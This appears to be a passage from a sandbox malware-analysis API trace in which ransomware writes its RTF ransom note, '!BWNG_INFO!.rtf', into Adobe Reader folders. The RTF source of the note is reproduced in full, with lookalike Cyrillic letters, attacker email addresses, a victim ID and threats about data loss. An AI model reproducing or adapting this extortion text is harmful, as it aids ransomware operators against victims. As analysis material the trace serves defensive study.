\\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.931] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.932] CloseHandle (hObject=0x1cc) returned 1 [0033.932] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\!bwng_info!.rtf")) returned 0xffffffff [0033.932] GetLastError () returned 0x2 [0033.932] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DAN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.932] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s 